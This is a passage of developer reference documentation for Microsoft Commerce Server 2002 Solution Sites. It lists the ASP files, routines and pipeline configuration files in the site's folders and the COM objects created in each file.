This file contains string-handling functions used only by the file stepsrch.asp.

Routines

BooleanToString

RemoveBlankItemsFromArray

sChopOffLeft

sChopOffRight

Space

StringToBoolean

See Also

Solution Sites Include Folder


std_url_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used with URLs.

Routines

AddURLArguments

GenerateURL

GetRequestString

GetRequestStringRange

GetTicketInUrlArg

GetTicketLocation

See Also

Solution Sites Include Folder


std_util_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains utility functions, and also provides the following code declared outside of any routines:

   SCRIPT LANGUAGE=VBScript RUNAT=Server

Routines

ConvertListToArray

CreateSet

DoubleQuote

FormatOutput

GetAddressPage

GetArrayFromList

GetDictionary

GetDiscountDescription

GetErrorSource

GetFileSystemObject

GetKeyValue

GetListItemIndex

GetObjectInstanceDictionary

GetQualifiedName

GetRecordCount

GetRegExp

GetSimpleList

htmRenderCurrency

IsBitValueSet

IsEntityInArray

IsEntityInList

IsEntityInSet

IsNumberInRange

RsToDict

SortDictionaryKeys

Remarks

This file is included by most pages, and also by the global.asa file.

See Also

Solution Sites Include Folder


txheader.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file (or the header.asp file, its non-transactional counterpart) should be included at the top of every page. It is used to specify the client and server side code page, response-buffering mode, and so on, for pages that require a new transaction. This file is only used by the files crdtcard.asp and po.asp.

Remarks

This file provides the following initialization code:

@ TRANSACTION=REQUIRES_NEW LANGUAGE=VBScript EnableSessionState=False
Option Explicit
Response.Charset = Application("MSCSPageEncodingCharSet")
Response.Buffer = True
Response.CacheControl = "no-cache"
Response.AddHeader "Pragma", "no-cache"
Response.Expires = -1
g_sPipelineProgID = "Commerce.PooledTxPipeline"

See Also

Solution Sites Include Folder


Solution Sites Login Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder provide the functionality of the login/logoff process.

The following files are contained in this folder.

File | Description
login.asp | Displays the login page and validates submitted login data.
logoff.asp | Displays the logoff page.
newuser.asp | Used to register new users.
_guest.asp | Redirects the user to the home page as an anonymous user.


login.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides functions to prepare and display the login page.

Routines

Main

PrepareLoginPage

htmRenderLoginPage

ValidateSubmittedLoginData

MoveBasketItems

Remarks

Submitted login data is validated and a ticket is set in a cookie (if enabled on the client) or a URL query string. If used in a Web farm, a timestamp cookie is set.

See Also

About the Login Feature for Solution Sites

Solution Sites Login Folder


logoff.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides functions to prepare and display the logoff page, and logs the user off when the page is run.

Routines

Main

PrepareLogoffPage

htmRenderLogoffPage

Remarks

If the user has an authentication ticket (AUTH_TICKET) or a Web farm timestamp cookie, it is removed. Once logged off, the user is allowed to log in as either as a new anonymous user, or as an existing or new registered user, as appropriate to the site login option.

See Also

About the Login Feature for Solution Sites

Solution Sites Login Folder


newuser.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides functions to prepare and display the registration page where users can self-register.

Routines

Main

PrepareNewUserPage

htmRenderNewUserPage

bRegistrationPageNotAvailable

iValidateSubmittedRegistrationData

mscsNewRegisteredUserProfile

mscsTransferGuestUserProfile

Remarks

The submitted user name is checked for uniqueness. If the user currently has an anonymous profile, it is upgraded to a registered profile. If not, a new profile is created. Upon creation, a ticket is issued so that the user can be tracked throughout the session and possibly in future sessions.

See Also

About the Login Feature for Solution Sites

Solution Sites Login Folder


_guest.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file redirects the user to the home page (default.asp) as an anonymous user.

Routines

Main

See Also

About the Login Feature for Solution Sites

Solution Sites Login Folder


Solution Sites Pipeline Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This folder contains files that implement the pipeline feature.

The following subfolder is contained in this folder:

Folder | Description
Logfiles | Stores pipeline log files, if pipeline logging is enabled.

The following files are contained in this folder:

File | Description
Advertising.pcf | Content Selection Framework (CSF) pipeline that selects targeted advertising.
Basket.pcf | Order Processing pipeline (OPP) that gathers basket information and computes the order subtotal.
Checkout.pcf | OPP that receives and accepts payment information and completes the transaction.
Discounts.pcf | CSF pipeline that selects targeted discounts.
Product.pcf | OPP that looks up information about a specific product. This pipeline is not used in the default implementation of the Solution Sites.
RecordEvent.pcf | CSF pipeline that records targeted content event information to a database.
Recvpo.pcf | OPP that enables the Web site to receive orders through Biz Talk Server.
Total.pcf | OPP that computes the shipping and handling charges, tax, and the order total.


Logfiles Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This folder stores pipeline log files, if pipeline logging is enabled.

The following file is contained in this folder:

File | Description
empty.tmp | A placeholder file.

See Also

Pipelines for Solution Sites

Solution Sites Pipeline Folder


Advertising.PCF

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Content Selection Framework (CSF) pipeline that selects targeted advertising.

Remarks

This pipeline can be added to the Retail or Supplier Solution Sites to implement targeted discounts, but it is not implemented in the default configuration of the Solution Sites.

For more information about the stages and components in the Advertising.pcf file, see Content Selection Pipelines.

See Also

About the Ads for Solution Sites

Pipelines for Solution Sites

Solution Sites Pipeline Folder


basket.pcf

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that gathers basket information and computes the order subtotal.

Remarks

The basket.pcf file is modeled on the plan.pct (pipeline configuration template) file. For more information about the plan.pct file, see Plan Pipeline.

See Also

About the Basket Feature for Solution Sites

Pipelines for Solution Sites

Solution Sites Pipeline Folder


checkout.pcf

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that receives and accepts payment information.

See Also

About the Checkout Feature for Solution Sites

Pipelines for Solution Sites

Solution Sites Pipeline Folder


Discounts.PCF

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Content Selection Framework (CSF) pipeline that selects targeted discounts.

Remarks

This pipeline can be added to the Retail or Supplier Solution Sites to implement targeted discounts, but it is not implemented in the default configuration of the Solution Sites.

For more information about the stages and components in the Discounts.pcf file, see Content Selection Pipelines.

See Also

About the Discounts Feature for Solution Sites

Pipelines for Solution Sites

Solution Sites Pipeline Folder


product.pcf

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that enters the line item detail for each item in the basket.

See Also

About the Basket Feature for Solution Sites

Pipelines for Solution Sites

Solution Sites Pipeline Folder


RecordEvent.pcf

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Content Selection Framework (CSF) pipeline that records targeted content event information to a database.

Remarks

This pipeline can be added to the Retail or Supplier Solution Sites, but it is not included in the default configuration of the Solution Sites.

See Also

Pipelines for Solution Sites

Solution Sites Pipeline Folder


recvpo.pcf

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that enables the Web site to receive orders through BizTalk Server.

See Also

About the BizTalk Server Integration Feature

Pipelines for Solution Sites

Solution Sites Pipeline Folder


total.pcf

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that computes the sum of the subtotal, tax, shipping, and handling values.

See Also

About the Checkout Feature for Solution Sites

Payment

Pipelines for Solution Sites

Solution Sites Pipeline Folder


Solution Sites Services Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder and subfolders are used for Customer and Partner Services. Customer Services allows users to modify their profiles and view order information. Partner Services allows adminstrators to search and view order information, and to search and modify profiles of users of their organization.

The following subfolders are contained in this folder.

Folder | Description
Customer | Files in this folder allow users to modify their own profile, search for orders, and view order information.
Error | Files in this folder provide for the client display of various error messages.
Include | Files in this folder are used by the files in the Customer Folder and the Partner Folder.
Partner | Files in this folder allow adminstrators to search and view order information, and to search and modify profiles of members of their organization.

The following files are contained in this folder.

File | Description
change_password.asp | Initializes the Partner Desk for changing the user_security_password property of a UserObject profile.
help.asp | This file is a placeholder for a help page.


Customer Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder allow users to modify their own profile, search for orders, and view order information.

The following files are contained in this folder.

File | Description
account.asp | Allows users to view and modify their own profile.
orders.asp | Allows users to search for their orders.
view_order.asp | Allows users to view their orders.


account.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows users to view and modify their own profile.

Routines

Main

See Also

Services\Customer Folder


orders.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows users to search for their orders.

Routines

Main

OrderListActionHandler

See Also

Services\Customer Folder


view_order.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows users to view their orders.

Routines

Main

See Also

Services\Customer Folder


Solution Sites Error Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder provide for the client display of various error messages. The error messages are obtained from the rc.xml file.

The following files are contained in this folder.

File | Description
badaction.asp | Displays the message that an invalid action was requested.
noaccess.asp | Displays the message that the user does not have the necessary privileges to access the page.
noorder.asp | Displays the message that the requested order is not available.
noorgprofile.asp | Displays the message that the user does not belong to an organization.
noprofile.asp | Displays the message that the posted profiles are invalid.


badaction.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the message that an invalid action was requested.

Routines

Main

See Also

Services\Error Folder


noaccess.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the message that the user does not have the necessary privileges to access the page.

Routines

Main

See Also

Services\Error Folder


noorder.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the message that the requested order is not available.

Routines

Main

See Also

Services\Error Folder


noorgprofile.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the message that the user does not belong to an organization.

Routines

Main

See Also

Services\Error Folder


noprofile.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the message that posted profiles are invalid.

Routines

Main

See Also

Services\Error Folder


Solution Sites Include Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder are used by the files in the Services\Customer and Services\Partner folders except for global_service_lib.asp, which is included by the file global.asa.

The following files are contained in this folder.

File | Description
ad_routines.asp | Contains functions to add or remove a user from an Active Directory group.
check_profile.asp | Contains functions for checking whether a profile exists and whether a profile being edited has changed.
const.asp | Defines constants used in Customer and Partner Services.
delete_profiles.asp | Contains routines for deleting profiles.
edit_handlers.asp | Contains action handlers (for example, add, delete, copy, and so on).
get_profiles.asp | Contains functions for retrieving profile properties or a list of profiles.
global_service_lib.asp | Used to assign friendly names to Customer and Partner Services pages, and adds attributes and styles to these pages. Included by the file global.asa.
initialize.asp | Contains routines to initialize the variables (action, subaction, and profile ID) used in all the Partner and Customer Services pages.
lib.asp | Contains general routines.
list_handlers.asp | Contains action handlers for "selecting" in list-type pages.
logic_orders.asp | Contains routines to prepare the order page before rendering.
messagebox_handlers.asp | Contains the action handler for the Save changes confirmation message box.
order_handlers.asp | Contains action handlers for the order details page.
password_handlers.asp | Contains action handlers for the change password form.
profiles_common.asp | Contains routines to build T_SQL statements for use with the Profiling System.
render_common.asp | Contains common rendering functions.
render_edit_blank.asp | Contains common rendering functions for blank editing pages.
render_edit_common.asp | Contains common rendering functions for editing pages.
render_edit_multi.asp | This file is intentionally empty.
render_edit_single.asp | This file is intentionally empty.
render_list.asp | Contains common list rendering routines.
render_messagebox.asp | Contains functions for rendering various types of message boxes.
render_orders.asp | Contains functions for rendering the orders page.
render_password.asp | Contains functions for rendering the change password form.
requisition.asp | Contains routines for retrieving orders and order details requested by the user.
save_all_profiles.asp | Contains common routines for saving profiles when the Select All option is in use.
save_multiple_profiles.asp | This file is empty. In multi-select mode, profiles are saved one-by-one by the file save_one_profile.asp.
save_one_profile.asp | Contains common routines for creating and saving single profiles. In multi-select cases, the profiles are saved one-by-one.


ad_routines.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions to add or remove a user from an Active Directory group.

Routines

bAddUserToGroup

bPaintACLForUser

bRemoveUserFromGroup

See Also

Services\Include Folder


check_profile.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions for checking whether a profile exists and whether a profile being edited has changed.

Routines

bCheckIfProfileExists

bIsPropertyValueAdded

bProfileHasChanged

See Also

Services\Include Folder


const.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file defines constants used in Customer and Partner Services.

Routines

None.

See Also

Services\Include Folder


delete_profiles.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines for deleting profiles.

Routines

DeleteAllProfiles

DeleteRegisteredUser

DeleteSelectedProfiles

DeleteSingleProfile

sGetWhereClauseForCurrentUser

See Also

Services\Include Folder


edit_handlers.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains action handlers (add, delete, copy, and so on).

Routines

DeleteAllActionHandler

DeSelectAllActionHandler

GetStatusFieldAndID

htmAddActionHandler

htmChangePasswordActionHandler

htmCloseActionHandler

htmCopyActionHandler

htmDeleteActionHandler

htmEditAction

htmEditAllProfiles

htmInsertProfile

htmSaveActionHandler

htmSaveAllActionHandler

htmSaveProfiles

htmSelectActionHandlerForEdit

htmSelectedActionHandlerForEdit

PrepareAddAction

PrepareCloseAction

PrepareCopyAction

PrepareDeleteAction

PrepareDeleteAllAction

PrepareDeselectAllAction

PrepareEditAction

PrepareEditAllAction

PrepareInsertProfile

PrepareSaveAction

PrepareSaveAllAction

PrepareSaveProfiles

PrepareSelectActionHandlerForEdit

PrepareSelectAllAction

PrepareSelectedAction

SelectAllActionHandler

See Also

Services\Include Folder


get_profiles.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions for retrieving profile properties or a list of profiles.

Routines

GetAttributeValueFromProfile

GetOrgAttributeFromID

GetUserPropertyFromID

rsGetOrgDetails

rsGetProfileDetails

rsGetProfilesList

rsGetUserDetails

sGetUserFullName

sGetUserLoginName

See Also

Services\Include Folder


global_service_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file assigns friendly names to Customer and Partner Services pages, and adds attributes and styles to these pages.

Routines

AddPartnerAndCustomerServicePages

AddPartnerAndCustomerServiceStyles

GetPartnerAndCustomerServicePageAttributes

Remarks

This file is included by the file global.asa.

See Also

Services\Include Folder


initialize.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines to initialize the variables (action, subaction, and profile ID) used in all the Partner and Customer Services pages.

Routines

InitializePartnerDesk

sGetAction

sGetIDFromForm

sGetSelectedIDs

sGetSubAction

See Also

Services\Include Folder


lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains general routines used by Customer and Partner Services.

Routines

bCheckIfThePropertyFeatureIsSupported

bInvalidDate

bValidateLoginNameChars

bValidatePasswordChars

CheckIfOrderExists

CheckIfProfilesExist

dictGetpropertyFromList

dictGetSearchDictionaryForPage

GetSearchDictionaryForThisPage

iGetCountOfProfiles

iGetCurrentUserPropertyAccessClass

InitializePagingVariables

listCloneProfileSchema

listGetValidPropertiesForMultiEdit

listReConstructPropertiesSchema

PopulateOrderSearchCriteria

PopulateProfileSearchCriteria

ReDirectToPage

RelocateRecordPointer

SetGlobalPagingVariables

sGetDisplayValueForProperty

sGetOrderStatusDetails

sGetParentDN

sGetSelectActionPropertyName

sGetThisPageProperty

sGetUserAccessForThisProperty

sGetUserPartnerDeskRole

sGetUserStatus

TDTag

THTag

TRTag

ValidateFields

See Also

Services\Include Folder


list_handlers.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains the action handler used when selecting items in list-type pages.

Routines

SelectedActionHandlerForList

See Also

Services\Include Folder


logic_orders.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines to prepare the order page before rendering.

Routines

AddDiscountMessages

mscsGetOrderGroupWithDiscountsByID

PrepareOrderList

sGetAddressName

sGetPaymentMethodString

See Also

Services\Include Folder


messagebox_handlers.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains the action handler for the Save changes confirmation message box.

Routines

htmSaveChangesConfirmationHandler

PrepareSaveChangesConfirmation

See Also

Services\Include Folder


order_handlers.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains action handlers for the order details page.

Routines

CloseOrderDetailsActionHandler

htmOrderDetailsActionHandler

htmRenderOrderDetailsForIDs

PrepareCloseOrderDetailsAction

PrepareOrderDetailsAction

RedirectOrderDetailsForIDs

See Also

Services\Include Folder


password_handlers.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains action handlers for the change password form.

Routines

ChangeActionHandler

htmCancelUpdatePasswordAction

UpdatePasswordActionHandler

See Also

Services\Include Folder


profiles_common.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines to build T_SQL statements for use with the Profiling System.

Routines

GetODBCTimeStamp

GetTableNameAndWhereClause

HandleSingleQuote

sAddCriteriaToQuery

sAddEndDate

sAddSetClause

sAddSQLNumber

sAddSQLString

sAddStartDate

sConstructWHEREclause

See Also

Services\Include Folder


render_common.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains common rendering functions.

Routines

cellRenderReadOnlyProperty

colRenderAdvancedSearchTab

colRenderCountryNames

colRenderSimpleSearchTab

formRenderPagingButtons

htmRenderBlankSpaces

htmRenderBoolean

htmRenderCountries

htmRenderEmptyRecordSet

htmRenderOrderDateTypes

htmRenderOrderStatusOptions

htmRenderPartnerDeskRoles

htmRenderSelectEndTag

htmRenderSelectTag

htmRenderSiteTerm

htmRenderUserStatusOptions

rowRenderEditSheetBlankLine

rowRenderHeader

rowRenderSearchOptionForDate

rowRenderSearchOptionForInteger

rowRenderSearchOptionForString

rowRenderStatusInfo

sGetPageHeading

sReConstructPageURL

sReplaceString

tableRenderFooterInfo

See Also

Services\Include Folder


render_edit_blank.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains common rendering functions for blank editing pages.

Routines

formRenderBlankEditPageBody

htmRenderBlankEditPage

rowRenderBlankProperty

tableRenderBlankProfile

See Also

Services\Include Folder


render_edit_common.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains common rendering functions for editing pages.

Routines

colRenderForeignKeyProperty

colRenderPasswordProperty

colRenderPrimaryKeyProperty

colRenderProperty

colRenderPropertyTip

colRenderUniqueKeyProperty

formRenderEditPageBody

htmRenderEditPage

rowRenderHiddenProperty

rowRenderProperty

rowRenderPropertyGroup

rowRenderPropertyTip

rowRenderReadOnlyProperty

sRenderHTMLPreFixForProperty

tableRenderEditPageTasks

tableRenderProfiles

varGetPropertyValue

varGetValueFromPropertyDictionaries

varGetValueFromRequestObject

varUpdateValueForCurrentAction

See Also

Services\Include Folder


render_edit_multi.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is intentionally empty.

Routines

None.

See Also

Services\Include Folder


render_edit_single.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is intentionally empty.

Routines

None.

See Also

Services\Include Folder


render_list.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains common list rendering routines.

Routines

arrPopulateProfileDetails

formRenderListPageContents

formRenderProfileSearchOptions

htmRenderProfilesList

htmRenderUniqueIDForProfile

RelocateRecordPointer2

rowRenderListHeading

rowsRenderAdvanceSearchOptionsForProfiles

rowsRenderSimpleSearchOptionsForProfiles

tableRenderListPageTasks

tableRenderMultipleRecords

See Also

Services\Include Folder


render_messagebox.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions for rendering various types of message boxes.

Routines

htmRenderMessageBoxForCancel

htmRenderMessageBoxForDelete

htmRenderMessageBoxForDeleteAll

htmRenderMessageBoxForSave

htmRenderMessageBoxForSelect

htmRenderMessageBoxPage

rowRenderMessageBoxPageContents

tableRenderMessageBoxPage

tableRenderMessageBoxPageButtons

See Also

Services\Include Folder


render_orders.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions for rendering the orders page.

Routines

arrPopulateOrderHeaderDetails

formRenderOrderContents

formRenderOrderSearchOptions

formRenderOrdersListContents

htmRenderOrderDetails

htmRenderOrderList

rowRenderAdvancedSearchOptionsForOrders

rowRenderLineItemHeader

rowRenderListHeadingForOrders

rowRenderSimpleSearchOptionsForOrders

sRenderAddress

tableRenderOrdersListContents

tableRenderOrdersListTasks

tblOrderDetailsTasks

tblRenderOrderDetailsContents

See Also

Services\Include Folder


render_password.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions for rendering the change password form.

Routines

formRenderChangePasswordPageContents

htmRenderChangePasswordPage

tableChangePasswordTasks

tableRenderChangePasswordContents

See Also

Services\Include Folder


requisition.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines for retrieving orders and order details requested by the user.

Routines

rsGetOrderDetails

rsGetOrdersList

See Also

Services\Include Folder


save_all_profiles.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains common routines for saving profiles when the Select All option is in use.

Routines

AddSetClauseAndUpdateUserAccountControl

GetUserAccountControl

sAddWhereClauseForActiveUsers

sAddWhereClauseForPartnerRole

SaveAllSelectedProfiles

UpdateUserAccountControlProperty

See Also

Services\Include Folder


save_multiple_profiles.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is empty. In multi-select mode, profiles are saved one-by-one by the save_one_profile.asp file.

Routines

None.

See Also

Services\Include Folder


save_one_profile.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains common routines for creating and saving single profiles. In multi-select cases, the profiles are saved one-by-one.

Routines

bHandlePaintingACLsForUsersInAD

bInsertProfile

bInsertProfileDetails

bInsertProperty

bSaveProfileAndRedirect

bSaveProfileDetails

bSaveProperty

bSaveReadWriteProperty

GetActiveUsersOnly

InsertHiddenProperty

SaveCommonValueForAllSelectedRecords

SaveProfileProperty

SaveReadOnlyProperty

SaveSAMAccountNameProperty

SaveUserAccountControlProperty

SaveUserParentDNProperty

SaveUserPartnerDeskRoleProperty

SaveUserPropertyForID

sGetAdminsOnly

sGetUsersOnly

UpdateSelectActionPropertyName

UpdateUserPasswordProperty

See Also

Services\Include Folder


Partner Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder allow adminstrators to search and view order information, and search and modify profiles that belong to members of their organization. Administrators can also view and modify the profile of their organization.

The following files are contained in this folder.

File | Description
account.asp | Allows administators to view and modify the profile of their organization.
edit_user.asp | Allows administators to add, delete, or modify profiles that belong to members of their organization.
orders.asp | Allows administators to search for orders made by members of their organization.
users.asp | Allows administators to search for profiles that belong to members of their organization.
view_order.asp | Allows administators to view orders made by members of their organization.


account.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows administators to view and modify the profile that belongs to their organization.

Routines

Main

See Also

Services\Partner Folder


edit_user.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows administators to add, delete, or modify profiles that belong to members of their organization.

Routines

htmEditPageActionHandlers

Main

See Also

Services\Partner Folder


orders.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows administators to search for orders made by members of their organization.

Routines

htmOrderListActionHandler

Main

See Also

Services\Partner Folder


users.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows administators to search for profiles that belong to members of their organization.

Routines

htmListPageActionHandlers

Main

See Also

Services\Partner Folder


view_order.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows administators to view orders made by members of their organization.

Routines

Main

See Also

Services\Partner Folder


change_password.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file initializes the Partner Desk for changing the user_security_password property of a UserObject profile.

Routines

Main

PasswordActionHandlers

See Also

Solution Sites Services Folder


help.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is a placeholder for a help page.

Routines

None.

See Also

Solution Sites Services Folder


Solution Sites Template Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder provide the basic HTML display layout, and routines for ad and discounts banners. For more information about the page layout, see Page Execution Model for Solution Sites.

The following files are contained in this folder.

File | Description
banner.inc | Included by the files layout1.asp and nomenu.asp to display advertising banners for pages in the advertisement page set.
discount.asp | Contains logic for choosing discount banner content.
footer.inc | Provides content that is shown at the bottom of every page that is displayed using the layout1.asp file.
layout1.asp | Provides the HTML display layout for the page content along with an advertising banner, navigation bar, menu, discount banner, and footer.
menu.asp | Prepares and displays the menu bar.
navbar.inc | Included by the file layout1.asp to display the navigation bar.
no_menu.asp | Provides a basic HTML display layout for the page content without a menu, navigation bar, or footer.


banner.inc

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is included by the files layout1.asp and no_menu.asp to display advertising banners for pages in the advertisement page set.

Routines

None.

See Also

Solution Sites Template Folder


discount.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains logic for choosing discount banner content. It is included by the files basket.asp and product.asp.

Routines

CollectBasketItems

CopyProductToItem

GetAncestorCategories

GetBasketDetails

GetInputParameters

GetShownProductsDetails

listGetShownProductsInfo

oCachedDiscountProductInfo

RenderDiscounts

See Also

Solution Sites Template Folder


footer.inc

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides content that is shown at the bottom of every page that is displayed using the layout1.asp file.

Routines

None.

See Also

Solution Sites Template Folder


layout1.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides the HTML display layout for the page content (htmPageContent) along with an advertising banner, navigation bar, menu, discount banner (htmDiscountBannerSlot), and footer. The htmPageContent and htmDiscountBannerSlot HTML strings are calculated by the Main subroutine.

Routines

None.

See Also

Solution Sites Template Folder


menu.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is included to display the menu bar.

Routines

htmRenderCatalogSection

htmRenderCustomerServiceSection

htmRenderLoginSection

htmRenderMenu

htmRenderPartnerServiceSection

htmRenderSearchSection

PrepareCatalogSection

PrepareLoginSection

PrepareRenderMenu

See Also

Solution Sites Template Folder


navbar.inc

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is included by the file layout1.asp to display the navigation bar.

Routines

RenderNavbar

See Also

Solution Sites Template Folder


no_menu.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides a basic HTML display layout for the page content without a menu, navigation bar, or footer.

Routines

None.

See Also

Solution Sites Template Folder


Solution Sites Reference

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This section provides reference material that can be useful in the course of modifying the Solution Sites to create customized and branded commercial Web sites.

All objects described in this section are supported by Commerce Server 2002.

This section contains:

  • Use of Solution Site Objects. Describes where the various Commerce Server 2002 objects are instantiated in the Solution Sites.
  • Use of App Default Config Settings in Solution Sites. Describes where the various App Default Config settings are tested in the Solution Sites code, enabling or disabling the features that affect the differences between the Retail and Supplier Solution Sites.
  • Constants Reference. Describes the constants available for use in the Solution Sites code.
  • Routines Reference. Describes the numerous routines that constitute the majority of the code in the Solution Sites.


Use of Solution Site Objects

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following table lists the Component Object Model (COM) objects created in the Solution Sites and the files where they are created.

All objects described in this section are supported by Commerce Server 2002.

For an object created more than once in a file (usually in different routines), the number of times it is created is shown after the file name. Objects with the vendor section of the ProgID equal to "Commerce" are supplied by Commerce Server 2002.

ProgID | File
ADODB.Connection | include\global_profile_lib.asp
ADODB.Connection | opt-out.asp
ADODB.Recordset | opt-out.asp
ADODB.Recordset | include\addr_lib.asp
ADODB.Recordset | services\include\delete_profiles.asp
ADODB.Recordset | services\include\get_profiles.asp
ADODB.Recordset | services\include\save_all_profiles.asp (2)
AdoDB.Stream | _recvpo.asp
AdoDB.Stream | ReceiveStandard.asp
BizTalk.Interchange | ReceiveStandard.asp
BizTalk.Interchange | include\payment.asp
Commerce.Acl | unpack.vbs
Commerce.AdminEventLog | opt-out.asp
Commerce.AppConfig | RefreshApp.asp
Commerce.AdminEventLog | error\500error.asp
Commerce.AppConfig | include\global_siteconfig_lib.asp
Commerce.AppFrameWork | include\global_main_lib.asp (2)
Commerce.AuthManager | ServiceReminder.asp
Commerce.AuthManager | AuthFiles\autocookie.asp
Commerce.AuthManager | AuthFiles\Login.asp
Commerce.AuthManager | AuthFiles\nocookie.asp
Commerce.AuthManager | include\global_profile_lib.asp
Commerce.AuthManager | include\std_access_lib.asp
Commerce.BusinessDataAdmin | include\global_data_lib.asp
Commerce.BusinessDataAdmin | include\global_siteconfig_lib.asp (2)
Commerce.CacheManager | include\global_cache_lib.asp
Commerce.CatalogManager | include\global_catalog_lib.asp
Commerce.CatalogSets | include\catalog.asp (2)
Commerce.CatalogSets | include\global_catalog_lib.asp
Commerce.CatalogToVendorAssociation | _additem.asp
Commerce.ContentSelector | template\banner.inc
Commerce.ContentSelector | template\discount.asp
Commerce.DataFunctions | unpack.vbs
Commerce.DataFunctions | include\global_data_lib.asp
Commerce.DBStorage | services\include\lib.asp (2)
Commerce.Dictionary | _additem.asp
Commerce.Dictionary | pickship.asp (4)
Commerce.Dictionary | redir.asp (2)
Commerce.Dictionary | include\global_cache_lib.asp (8)
Commerce.Dictionary | include\global_catalog_lib.asp (2)
Commerce.Dictionary | include\global_csf_lib.asp (2)
